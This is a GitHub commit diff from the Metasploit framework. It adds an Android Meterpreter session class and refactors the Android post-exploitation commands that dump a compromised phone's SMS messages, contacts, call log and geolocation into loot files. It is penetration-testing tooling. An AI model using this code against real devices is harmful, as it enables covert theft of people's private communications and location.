Skip to content

Commit 283046b

Browse files
committed
fixing auto load on new session
1 parent 9f0bf67 commit 283046b

File tree

4 files changed

+143
-122
lines changed

4 files changed

+143
-122
lines changed
Lines changed: 36 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,36 @@
1+
# -*- coding: binary -*-
2+
3+
require 'msf/base/sessions/meterpreter'
4+
require 'msf/base/sessions/meterpreter_options'
5+
6+
module Msf
7+
module Sessions
8+
9+
###
10+
#
11+
# This class creates a platform-specific meterpreter session type
12+
#
13+
###
14+
class Meterpreter_Java_Android < Msf::Sessions::Meterpreter_Java_Java
15+
16+
def supports_ssl?
17+
false
18+
end
19+
def supports_zlib?
20+
false
21+
end
22+
def initialize(rstream, opts={})
23+
super
24+
self.platform = 'java/android'
25+
end
26+
def load_android
27+
original = console.disable_output
28+
console.disable_output = true
29+
console.run_single('load android')
30+
console.disable_output = original
31+
end
32+
end
33+
34+
end
35+
end
36+

lib/msf/base/sessions/meterpreter_java.rb

Lines changed: 1 addition & 5 deletions
Original file line numberDiff line numberDiff line change
@@ -11,6 +11,7 @@ module Sessions
1111
#
1212
###
1313
class Meterpreter_Java_Java < Msf::Sessions::Meterpreter
14+
1415
def supports_ssl?
1516
false
1617
end
@@ -22,11 +23,6 @@ def initialize(rstream, opts={})
2223
self.platform = 'java/java'
2324
self.binary_suffix = 'jar'
2425
end
25-
def load_android
26-
self.platform = 'java/android'
27-
console.disable_output = true
28-
console.run_single('load android')
29-
end
3026
end
3127

3228
end

lib/rex/post/meterpreter/ui/console/command_dispatcher/android.rb

Lines changed: 104 additions & 110 deletions
Original file line numberDiff line numberDiff line change
@@ -1,4 +1,5 @@
11
# -*- coding: binary -*-
2+
require 'msf/core'
23
require 'rex/post/meterpreter'
34

45
module Rex
@@ -12,8 +13,8 @@ module Ui
1213
###
1314

1415
class Console::CommandDispatcher::Android
15-
1616
include Console::CommandDispatcher
17+
include Msf::Auxiliary::Report
1718

1819
def initialize(shell)
1920
super
@@ -22,7 +23,7 @@ def initialize(shell)
2223
#
2324
# List of supported commands.
2425
#
25-
def commands
26+
def commands
2627
all = {
2728
'dump_sms' => 'Get sms messages',
2829
'dump_contacts' => 'Get contacts list',
@@ -59,7 +60,7 @@ def cmd_device_shutdown(*args)
5960
device_shutdown_opts.parse(args) { | opt, idx, val |
6061
case opt
6162
when '-h'
62-
print_line('Usage: device_shutdown [options]\n')
63+
print_line('Usage: device_shutdown [options]')
6364
print_line('Shutdown device.')
6465
print_line(device_shutdown_opts.usage)
6566
return
@@ -88,7 +89,7 @@ def cmd_dump_sms(*args)
8889
dump_sms_opts.parse(args) { | opt, idx, val |
8990
case opt
9091
when '-h'
91-
print_line('Usage: dump_sms [options]\n')
92+
print_line('Usage: dump_sms [options]')
9293
print_line('Get sms messages.')
9394
print_line(dump_sms_opts.usage)
9495
return
@@ -105,58 +106,55 @@ def cmd_dump_sms(*args)
105106
begin
106107
info = client.sys.config.sysinfo
107108

108-
::File.open(path, 'wb') do |fd|
109-
110-
fd.write("\n=====================\n")
111-
fd.write("[+] Sms messages dump\n")
112-
fd.write("=====================\n\n")
113-
114-
time = Time.new
115-
fd.write("Date: #{time.inspect}\n")
116-
fd.write("OS: #{info['OS']}\n")
117-
fd.write("Remote IP: #{client.sock.peerhost}\n")
118-
fd.write("Remote Port: #{client.sock.peerport}\n\n")
119-
120-
smsList.each_with_index { |a, index|
121-
122-
fd.write("##{(index.to_i + 1).to_s()}\n")
123-
124-
type = 'Unknown'
125-
if a['type'] == '1'
126-
type = 'Incoming'
127-
elsif a['type'] == '2'
128-
type = 'Outgoing'
129-
end
130-
131-
status = 'Unknown'
132-
if a['status'] == '-1'
133-
status = 'NOT_RECEIVED'
134-
elsif a['status'] == '1'
135-
status = 'SME_UNABLE_TO_CONFIRM'
136-
elsif a['status'] == '0'
137-
status = 'SUCCESS'
138-
elsif a['status'] == '64'
139-
status = 'MASK_PERMANENT_ERROR'
140-
elsif a['status'] == '32'
141-
status = 'MASK_TEMPORARY_ERROR'
142-
elsif a['status'] == '2'
143-
status = 'SMS_REPLACED_BY_SC'
144-
end
145-
146-
fd.write("Type\t: #{type}\n")
147-
148-
time = a['date'].to_i / 1000
149-
time = Time.at(time)
150-
151-
fd.write("Date\t: #{time.strftime('%Y-%m-%d %H:%M:%S')}\n")
152-
fd.write("Address\t: #{a['address']}\n")
153-
fd.write("Status\t: #{status}\n")
154-
fd.write("Message\t: #{a['body']}\n\n")
155-
}
156-
end
157-
158-
path = ::File.expand_path(path)
159-
109+
data = String::new
110+
data << "\n=====================\n"
111+
data << "[+] Sms messages dump\n"
112+
data << "=====================\n\n"
113+
114+
time = Time.new
115+
data << "Date: #{time.inspect}\n"
116+
data << "OS: #{info['OS']}\n"
117+
data << "Remote IP: #{client.sock.peerhost}\n"
118+
data << "Remote Port: #{client.sock.peerport}\n\n"
119+
120+
smsList.each_with_index { |a, index|
121+
122+
data << "##{(index.to_i + 1).to_s()}\n"
123+
124+
type = 'Unknown'
125+
if a['type'] == '1'
126+
type = 'Incoming'
127+
elsif a['type'] == '2'
128+
type = 'Outgoing'
129+
end
130+
131+
status = 'Unknown'
132+
if a['status'] == '-1'
133+
status = 'NOT_RECEIVED'
134+
elsif a['status'] == '1'
135+
status = 'SME_UNABLE_TO_CONFIRM'
136+
elsif a['status'] == '0'
137+
status = 'SUCCESS'
138+
elsif a['status'] == '64'
139+
status = 'MASK_PERMANENT_ERROR'
140+
elsif a['status'] == '32'
141+
status = 'MASK_TEMPORARY_ERROR'
142+
elsif a['status'] == '2'
143+
status = 'SMS_REPLACED_BY_SC'
144+
end
145+
146+
data << "Type\t: #{type}\n"
147+
148+
time = a['date'].to_i / 1000
149+
time = Time.at(time)
150+
151+
data << "Date\t: #{time.strftime('%Y-%m-%d %H:%M:%S')}\n"
152+
data << "Address\t: #{a['address']}\n"
153+
data << "Status\t: #{status}\n"
154+
data << "Message\t: #{a['body']}\n\n"
155+
}
156+
157+
path = store_loot("android.sms", "text/plain", client.sock.peerhost, data, "sms.txt", "Android SMS Dump")
160158
print_status("Sms #{smsList.count == 1? 'message': 'messages'} saved to: #{path}")
161159
Rex::Compat.open_file(path)
162160

@@ -185,7 +183,7 @@ def cmd_dump_contacts(*args)
185183
dump_contacts_opts.parse(args) { | opt, idx, val |
186184
case opt
187185
when '-h'
188-
print_line('Usage: dump_contacts [options]\n')
186+
print_line('Usage: dump_contacts [options]')
189187
print_line('Get contacts list.')
190188
print_line(dump_contacts_opts.usage)
191189
return
@@ -202,40 +200,38 @@ def cmd_dump_contacts(*args)
202200
begin
203201
info = client.sys.config.sysinfo
204202

205-
::File.open(path, 'wb') do |fd|
206-
207-
fd.write("\n======================\n")
208-
fd.write("[+] Contacts list dump\n")
209-
fd.write("======================\n\n")
203+
data = String::new
204+
data << "\n======================\n"
205+
data << "[+] Contacts list dump\n"
206+
data << "======================\n\n"
210207

211-
time = Time.new
212-
fd.write("Date: #{time.inspect}\n")
213-
fd.write("OS: #{info['OS']}\n")
214-
fd.write("Remote IP: #{client.sock.peerhost}\n")
215-
fd.write("Remote Port: #{client.sock.peerport}\n\n")
208+
time = Time.new
209+
data << "Date: #{time.inspect}\n"
210+
data << "OS: #{info['OS']}\n"
211+
data << "Remote IP: #{client.sock.peerhost}\n"
212+
data << "Remote Port: #{client.sock.peerport}\n\n"
216213

217-
contactList.each_with_index { |c, index|
214+
contactList.each_with_index { |c, index|
218215

219-
fd.write("##{(index.to_i + 1).to_s()}\n")
220-
fd.write("Name\t: #{c['name']}\n")
216+
data << "##{(index.to_i + 1).to_s()}\n"
217+
data << "Name\t: #{c['name']}\n"
221218

222-
if c['number'].count > 0
223-
(c['number']).each { |n|
224-
fd.write("Number\t: #{n}\n")
225-
}
226-
end
219+
if c['number'].count > 0
220+
(c['number']).each { |n|
221+
data << "Number\t: #{n}\n"
222+
}
223+
end
227224

228-
if c['email'].count > 0
229-
(c['email']).each { |n|
230-
fd.write("Email\t: #{n}\n")
231-
}
232-
end
225+
if c['email'].count > 0
226+
(c['email']).each { |n|
227+
data << "Email\t: #{n}\n"
228+
}
229+
end
233230

234-
fd.write("\n")
235-
}
236-
end
237-
238-
path = ::File.expand_path(path)
231+
data << "\n"
232+
}
233+
234+
path = store_loot("android.contacts", "text/plain", client.sock.peerhost, data, "contacts.txt", "Android Contacts Dump")
239235
print_status("Contacts list saved to: #{path}")
240236
Rex::Compat.open_file(path)
241237

@@ -263,7 +259,7 @@ def cmd_geolocate(*args)
263259
geolocate_opts.parse(args) { | opt, idx, val |
264260
case opt
265261
when '-h'
266-
print_line('Usage: geolocate [options]\n')
262+
print_line('Usage: geolocate [options]')
267263
print_line('Get current location using geolocation.')
268264
print_line(geolocate_opts.usage)
269265
return
@@ -274,7 +270,7 @@ def cmd_geolocate(*args)
274270

275271
geo = client.android.geolocate
276272

277-
print_status('Current Location:\n')
273+
print_status('Current Location:')
278274
print_line("\tLatitude : #{geo[0]['lat']}")
279275
print_line("\tLongitude : #{geo[0]['long']}\n")
280276
print_line("To get the address: https://maps.googleapis.com/maps/api/geocode/json?latlng=#{geo[0]['lat']},#{geo[0]['long']}&sensor=true\n")
@@ -302,7 +298,7 @@ def cmd_dump_calllog(*args)
302298
dump_calllog_opts.parse(args) { | opt, idx, val |
303299
case opt
304300
when '-h'
305-
print_line('Usage: dump_calllog [options]\n')
301+
print_line('Usage: dump_calllog [options]')
306302
print_line('Get call log.')
307303
print_line(dump_calllog_opts.usage)
308304
return
@@ -318,32 +314,30 @@ def cmd_dump_calllog(*args)
318314
begin
319315
info = client.sys.config.sysinfo
320316

321-
::File.open(path, 'wb') do |fd|
322-
323-
fd.write("\n=================\n")
324-
fd.write("[+] Call log dump\n")
325-
fd.write("=================\n\n")
317+
data = String::new
318+
data << "\n=================\n"
319+
data << "[+] Call log dump\n"
320+
data << "=================\n\n"
326321

327-
time = Time.new
328-
fd.write("Date: #{time.inspect}\n")
329-
fd.write("OS: #{info['OS']}\n")
330-
fd.write("Remote IP: #{client.sock.peerhost}\n")
331-
fd.write("Remote Port: #{client.sock.peerport}\n\n")
322+
time = Time.new
323+
data << "Date: #{time.inspect}\n"
324+
data << "OS: #{info['OS']}\n"
325+
data << "Remote IP: #{client.sock.peerhost}\n"
326+
data << "Remote Port: #{client.sock.peerport}\n\n"
332327

333-
log.each_with_index { |a, index|
328+
log.each_with_index { |a, index|
334329

335-
fd.write("##{(index.to_i + 1).to_s()}\n")
330+
data << "##{(index.to_i + 1).to_s()}\n"
336331

337-
fd.write("Number\t: #{a['number']}\n")
338-
fd.write("Name\t: #{a['name']}\n")
339-
fd.write("Date\t: #{a['date']}\n")
340-
fd.write("Type\t: #{a['type']}\n")
341-
fd.write("Duration: #{a['duration']}\n\n")
342-
}
343-
end
332+
data << "Number\t: #{a['number']}\n"
333+
data << "Name\t: #{a['name']}\n"
334+
data << "Date\t: #{a['date']}\n"
335+
data << "Type\t: #{a['type']}\n"
336+
data << "Duration: #{a['duration']}\n\n"
337+
}
344338

345-
path = ::File.expand_path(path)
346-
print_status("Call log saved to: #{path}")
339+
path = store_loot("android.calllog", "text/plain", client.sock.peerhost, data, "call-log.txt", "Android Call Log Dump")
340+
print_status("Call log saved to #{path}")
347341
Rex::Compat.open_file(path)
348342

349343
return true
@@ -367,7 +361,7 @@ def cmd_check_root(*args)
367361
check_root_opts.parse(args) { | opt, idx, val |
368362
case opt
369363
when '-h'
370-
print_line('Usage: check_root [options]\n')
364+
print_line('Usage: check_root [options]')
371365
print_line('Check if device is rooted.')
372366
print_line(check_root_opts.usage)
373367
return

0 commit comments

Comments
 (0)